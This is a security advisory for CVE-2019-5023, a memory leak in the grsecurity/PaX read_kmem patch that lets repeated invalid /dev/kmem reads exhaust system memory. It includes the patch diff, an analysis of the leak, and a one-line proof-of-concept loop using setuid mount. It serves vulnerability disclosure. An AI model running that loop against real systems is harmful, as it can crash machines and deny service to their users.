CVE-2019-5023
An exploitable vulnerability exists in the grsecurity PaX patch for the function read_kmem
, in PaX from version pax-linux-4.9.8-test1 to 4.9.24-test7, grsecurity official from version grsecurity-3.1-4.9.8-201702060653 to grsecurity-3.1-4.9.24-201704252333, grsecurity unofficial from version v4.9.25-unofficial_grsec to v4.9.74-unofficial_grsec. PaX adds a temp
buffer to the read_kmem
function, which is never freed when an invalid address is supplied. This results in a memory leakage that can lead to a crash of the system. An attacker needs to induce a read to /dev/kmem
using an invalid address to exploit this vulnerability.
PaX pax-linux-4.9.24-test7.patch (latest version available to the public)
grsecurity grsecurity-3.1-4.9.24-201704252333.patch (latest official version available to the public)
v4.9.74-unofficial_grsec (latest unofficial version available to the public)
https://www.grsecurity.net/~paxguy1/
5.9 - CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
CWE-401: Improper Release of Memory Before Removing Last Reference
PaX is a patch for Linux that focuses on increasing the security of a system by preventing the exploitation of memory corruption bugs.
The portion of the PaX patch that involves the read_kmem
function is:
@@ -405,6 +419,8 @@ static ssize_t read_kmem(struct file *fi
read = 0;
if (p < (unsigned long) high_memory) {
+ char *temp;
+
low_count = count;
if (count > (unsigned long)high_memory - p)
low_count = (unsigned long)high_memory - p;
@@ -422,6 +438,11 @@ static ssize_t read_kmem(struct file *fi
count -= sz;
}
#endif
+
+ temp = kmalloc(PAGE_SIZE, GFP_KERNEL|GFP_USERCOPY);
+ if (!temp)
+ return -ENOMEM;
+
while (low_count > 0) {
sz = size_inside_page(p, low_count);
@@ -434,14 +455,18 @@ static ssize_t read_kmem(struct file *fi
if (!virt_addr_valid(kbuf))
return -ENXIO;
- if (copy_to_user(buf, kbuf, sz))
+ if (probe_kernel_read(temp, kbuf, sz) || copy_to_user(buf, temp, sz)) {
+ kfree(temp);
return -EFAULT;
+ }
buf += sz;
p += sz;
read += sz;
low_count -= sz;
count -= sz;
}
+
+ kfree(temp);
}
After the patch is applied, read_kmem
reads as follows:
static ssize_t read_kmem(struct file *file, char __user *buf,
size_t count, loff_t *ppos)
{
unsigned long p = *ppos;
...
[1] if (p < (unsigned long) high_memory) {
char *temp;
low_count = count;
if (count > (unsigned long)high_memory - p)
low_count = (unsigned long)high_memory - p;
...
[2] temp = kmalloc(PAGE_SIZE, GFP_KERNEL|GFP_USERCOPY);
if (!temp)
return -ENOMEM;
while (low_count > 0) {
sz = size_inside_page(p, low_count);
/*
* On ia64 if a page has been mapped somewhere as
* uncached, then it must also be accessed uncached
* by the kernel or data corruption may occur
*/
kbuf = xlate_dev_kmem_ptr((void *)p);
[3] if (!virt_addr_valid(kbuf))
[4] return -ENXIO;
if (probe_kernel_read(temp, kbuf, sz) || copy_to_user(buf, temp, sz)) {
kfree(temp);
return -EFAULT;
}
...
When read_kmem
is invoked, *ppos
(then p
) is the virtual address that has to be read from the kernel memory. When p
is smaller than high_memory
[1], a new buffer temp
is allocated [2]. Then, if p
is not a valid address [3], the function returns [4] without freeing temp
, resulting in a memory leak.
In order to reach [4], it’s enough to read any small, invalid, virtual address from /dev/kmem
(for example, address “0”). An attacker that can induce /dev/kmem
to be read using an invalid address an arbitrary amount of times, may be able to crash the affected system.
Note that in order to exploit this vulnerability, two specific requirements need to be met.
The first requirement is that /dev/kmem
has to be exposed using the kernel config option CONFIG_DEVKMEM
. Modern, well-known Linux distributions normally ship with this config option disabled. However, less widely-used distributions may still ship with such config option enabled. As a practical example, we found /dev/kmem
enabled on “CUJO Smart Firewall”, which was using the “OCTEON-SDK”. While this is a bad practice, it doesn’t constitute a vulnerability per se.
Reading from /dev/kmem
is possible, other than by the root
user, by a user in the kmem
group. However, in order for a kmem
user to open /dev/kmem
, the CAP_SYS_RAWIO
capability is also needed. This is the second requirement.
Note that while the arbitrary usage of CAP_SYS_RAWIO
is root-equivalent, binaries with such capability that are accessing /dev/kmem
still represent a security boundary since they can restrict the capability’s usage. Therefore, even if users interacting with such a binary could induce an invalid, blind, read on /dev/kmem
, they still should not be able to crash a system. The same concept applies to SUID
binaries.
An additional note regarding grsecurity, which provides the CONFIG_GRKERNSEC_KMEM
config option: this option potentially protects against this bug since it completely disables CONFIG_DEVKMEM
. However, this is only meaningful to users that enabled DEVKMEM
inadvertently, since using CONFIG_GRKERNSEC_KMEM
is the same as not enabling DEVKMEM
, which is required for this vulnerability. This means that if somebody wants to have CONFIG_DEVKMEM
enabled, they are forced to disable CONFIG_GRKERNSEC_KMEM
. Finally, this config option is not enabled by default, but it can be enabled manually and is also automatically enabled when the configuration method is set to “Automatic”, which is not the default.
An unprivileged local user could manage to exhaust the system’s memory by exploiting this vulnerability. The following proof-of-concept demonstrates how to achieve this using mount
.
$ id
uid=1000(x) gid=1000(x) groups=1000(x)
$ ls -l /usr/bin/mount
-rwsr-xr-x 1 root root 47064 Jan 10 16:06 /usr/bin/mount
$ cat /etc/fstab
UUID=11223344-1122-1122-1122-112233445566 / ext4 rw,relatime 0 1
$ while true; do mount /dev/kmem &> /dev/null; done
...
-bash: fork: Cannot allocate memory
-bash: wait_for: No record of process 16182
Since mount
has the setuid
flag set, it can access /dev/kmem
. The access happens because, if no mountpoint is specified, mount
checks /etc/fstab
to find the target mountpoint. If any tag is specified in fstab
(for example UUID
as shown above), then mount
opens the source (/dev/kmem
in this case) and tries to read tags (LABEL
, UUID
, PARTUUID
, etc.) from the device, in order to match the fstab
entries. This series of operations is enough to trigger the bug.
2019-02-26 - Vendor Disclosure
2019-05-29 - Public Release
Discovered by Claudio Bozzato and Yves Younan of Cisco Talos.